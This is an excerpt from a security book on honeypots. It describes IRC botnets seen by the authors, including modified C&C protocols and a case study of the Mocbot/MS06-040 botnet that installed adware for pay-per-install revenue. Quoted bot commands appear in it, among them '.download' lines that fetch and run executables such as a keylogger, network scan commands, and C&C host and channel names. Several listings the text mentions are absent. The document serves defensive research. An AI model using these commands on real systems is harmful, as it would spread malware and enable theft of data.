In this section we present some of the findings we obtained through our observation of honeypot sensors, either running nepenthes or a full high-interaction honeypot. We start with some statistics about the botnets we have observed in the last few months.
Figure 11.6 gives an overview of the most active, unobfuscated botnets during a four-week period. The biggest botnets we have seen in this shorter period had more than 30,000 bots joining the given control channel, and also the other botnets were pretty active. Since many botnets obfuscate the number of bots in the botnet, we cannot easily estimate the real size of such a botnet.
Figure 11.6 Estimated size of top ten unobfuscated botnets in four-week period.
Botnet controllers also use modified IRC servers to make their botnet stealthier. The following listing is an example of a stripped-down IRC server, which does not report the usual information upon connecting. The arrows show the communication flow in both directions (bot versus botnet server):
Presumably the attacker took the source code of a given IRC server and removed most status messages to avoid being too noisy and giving too much information away. When tracking such a botnet, it is usually not possible to guess its size. We cannot get any additional information about other bots on the network and can only monitor the commands issued by the attacker.
Something we also observe quite often is that the controllers change the protocol of the whole IRC server and modify it in such a way that you cannot use a traditional IRC client to connect to it. For example, the attacker can replace the normal IRC status messages and use other keywords. The following listing gives an example of where the C&C server uses a different syntax:
The modification is rather simple: This server usesSENDNandSENDUinstead of the normal NICK and USER, respectively. But even this small change prohibits the use of a traditional IRC client to connect to this botnet and observe it. In this example, we used netcat to connect to the botnet and manually implemented the new protocol. Thanks to the modular design of botspy, it is also easily possible to extend the tool and write a module that can communicate with the modified server.
But there are also modifications regarding the communication protocol that we cannot easily adopt. For example, the botnet controller can implement an encryption scheme—that is, he sends encrypted commands to the bots, which in turn decrypt and execute them. The following listing is an example of such an encrypted session on top of standard IRC:
The topic of the channel contains encrypted comands, which we cannot understand, unfortunately. By reverse engineering of the bot, it is possible to find out the issued command, but this is a time-consuming and cumbersome job.
Botnets also use other communication channels for remote command and control. For example, we observed a bot that contacted a given IP address on TCP port 80 after successful infection. The bot did not send any information to that remote host but instantly received commands once the TCP session is established. The following listing shows an example of the commands received:
Again, we use the tool netcat to connect to TCP port 80. Once we are connected, we receive four different download commands. For each URL, the bot downloads the file to the local system and afterward executes it. This way, the attacker can execute commands on the compromised machine, and he does not need the overhead caused by using an IRC server for C&C. This is an example of an advanced botnet that acts rather stealthily.
For propagating further, bots normally use the most prevalant vulnerabilities in network services from MicrosoftWindows. But there are also other propagation mechanism—for example, via instant messenger (IM) tools. The attacker instructs the bots to send out IM messages like the following:
These messages commonly contain social engineering tricks to lure the victim into clicking on the provided link, which in turn opens an executable containing some kind of malware.
11.3.1 Mocbot and MS06-040
As a longer example, we want to take a look at one specific botnet that was very interesting from an analysis point of view. It highlights the common proceeding of attackers and shows how they can make some money with the help of bots and botnets.
At the beginning of August 2006, Microsoft released MS Security Bulletin MS06-040 with the title Vulnerability in Server Service Could Allow Remote Code Execution. This security bulletin contains information about a vulnerable network service that can be exploited to execute arbitrary commands on the victim's machine. A few days later, the first proof of concept exploits were released. These exploits allowed the manual compromise of machines, so no automation yet. But a couple of days later, the first botnets were observed that use this specific vulnerability to propagate further. Thus, the time between a vulnerability announcement and the integration of the exploit in botnets is just a couple of days.
With the help of several honeypots, we quickly caught a sample of such a bot binary: We set up several virtual high-interaction honeypots based on VMware running Windows 2000 without the patch provided for MS06-040. Via closely monitoring the honeypots, we noticed quickly when one of them was infected. Extracting the bot from the infected machine was then rather easy. Through automated analysis, we could retrieve the information about the corresponding botnet in a couple of minutes. The botnet used the DNS name gzn.lx.irc-XXX.org and the server for C&C was listening on TCP port 45130. The main control channel was ##Xport## and the nickname had the form RBOT|DEU|XP-SP0-36079.
For tracking this botnet, we used a normal IRC client. Since it used standard IRC commands, no special tool was necessary. We configured the IRC client with all necessary parameters and then connected to the botnet C&C server. When joining the main control channel ##Xport##, the topic was set to .ircraw join ##scan##,##DR##,##frame##,##o##. The channel topic is interpreted by the bots as a command, and thus they join four additional channels:
.scan netapi 100 3 0 -r -b -s.
Therefore, this channel is used for propagation—that is, scanning for other vulnerable machines and exploiting them.
.download http://promo. dollarrevenue.com/ webmasterexe/drsmartload152a.exe c:dr.exe 1 -s.
It instructs the bots to download an executable from the given address, store it locally on the C: drive, and execute it. An analysis of the executable showed that it is used to display advertisement on the machine it is installed on.We take a closer look at this topic later.
c:frm.exe 1 –s.
Hence, the bots download an additional executable and a closer analysis revealed that this binary was also used for advertisement.
.download http://126.96.36.199/niga/nads.exe c:nds.exe 1 -s,
which also caused the bots to download and execute a file from the given location. This executable is a keylogger, enabling more ways to steal sensitive information from the infected machines.
The following listing was captured when observing the channel ##scan## for less than five minutes:
As you can see, the propagation was working quite well for the botnet controller. This is due to the fact that, at this point in time, there were many machines that were not yet patched against this new vulnerability.
In the channel ##scan##, the attacker changed the topic several times a day. He often instructed the bots to scan a certain network range -- for example, via the command scan netapi 100 3 0 208.102.x.x -r –s or .scan netapi 100 3 0 216.196.x.x -r –s, to scan the network 188.8.131.52/16 or 184.108.40.206/16, respectively. Almost all network ranges belong to dial-up providers. Presumably he expects to find many nonpatched machines in these ranges, and he systematically scanned them.
The interesting aspect is how the controller of the botnet uses it for his financial advantage. We observed the network for about one week, and during this period, no single DDoS attack was started from this rather large botnet. Instead, the botnet controller just installed adware on the compromised machines. As we have just seen, the two channels ##DR## and ##frame## are used to install additional software on the infected machines. The first channel installs a binary from the domain www.dollarrevenue.com. From the description of the website:
So the "business model" of the botnet controller is to install the binary provided from DollarRevenue on the compromised machine and get some revenue via this pay-per-install affiliate program. The payout rates are depicted in Table 11.2. As you can see, these rates vary per country. English-speaking countries generate more revenue, whereas all other countries have a rather low revenue.
Based on all information we have collected when observing the botnet, we can get an insight into the economic aspects of botnets. For example, on August 28, 7729 unique bots were seen in the main channel. Since the nickname of the bots (e.g., RBOT—USA—XP-SP1-15442 or RBOT—CHN—2K-65840) gives us a pretty good idea of in which country the bot is located, we can estimate the amount of money receives via DollarRevenue. On that particular day, 998 U.S.-based, 20 CAN-based, 103 GBR-based, and 756 CHN-based bots were seen in the channel. Based on these numbers, we can calculate that the botnet controller earned about $438 with just this single channel on a single day. The channel ##frame## was used for another affiliate program, so the botnet controller earned even more. Over the whole one-week period, we have seen more than 40,000 different nicknames in the channel, so we can estimate that the botnet controller earned thousands of dollars via the affiliate programs. In addition, he installed a keylogger via the channel ##o##. This tool can be used to steal sensitive information from the compromised machines, which can then be used for identity theft or other nefarious purposes. Therefore, the attacker can generate even more revenue with his botnet.
Table 11.2 Payout Rate per Install by Dollar Revenue
11.3.2 Other Observations
Something that is interesting, but rarely seen is botnet owners discussing issues in their bot channel. We observed several of those talks and learned more about their social life this way. The bot-herders often discuss issues related to botnet but also talk about other computer crime–related things or simply talk about what they do.
Our observations showed that often botnets are run by young males with surprisingly limited programming skills. These people often achieve a good spread of their bots, but their actions are more or less harmless. Nevertheless, we also observed some more advanced attackers, but these persons join the control channel only occasionally. They use only one-character nicks, issue a command, and leave. The updates of the bots they run are very professional. Probably these people use the botnets for commercial usage and sell the services. More and more attackers use their botnets for financial gain. For example, by installing browser extensions, they are able to track/fool websurfers, click pop-ups in an automated way, or post adware as presented in the previous section. A small percentage of bot-herders seem highly skilled. They strip down the software used to run the C&C server to a non-RFC-compliant daemon, not even allowing standard IRC clients to connect.
Moreover, the data we captured while observing the botnets show that these control networks are used for more than just DDoS attacks. Possible usages of botnets can be categorized as listed here. And since a botnet is nothing more than a tool, there are most likely other potential uses that we have not listed.
In addition, this can, of course, also be used to send phishing mails, since phishing is a special case of spam. Also increasing is so-called stock spam: advertising of stocks in spam e-mails. In a study we could show that stock spam indeed influences financial markets .
An implemented filtering mechanism (e.g., "I am only interested in key sequences near the keyword 'paypal.com'") further helps in stealing secret data.
With our method we can shut down the root cause of all of these types of nuisances, and hence the preceding methodology cannot only be used to combat DDoS.
Often the combination of different functionality just described can be used for large-scale identity theft, one of the fastest-growing crimes on the Internet. Phishing mails that pretend to be legitimate (such as fake banking e-mails) ask their intended victims to go online and submit their personal information. These fake e-mails are generated and sent by bots via their spamming mechanism. These same bots can also host multiple fake websites pretending to be well-known brands and harvest personal information. As soon as one of these fake sites is shut down, another one can pop up. In addition, keylogging and sniffing of traffic can also be used for identity theft.
This list demonstrates that attackers can cause a great deal of harm or criminal activity with the help of botnets. In the future we want to investigate how our methodology can be used to counter these attacks.
Virtual Honeypots: From Botnet Tracking to Intrusion Detection
Home: Virtual honeypots: Tracking botnets
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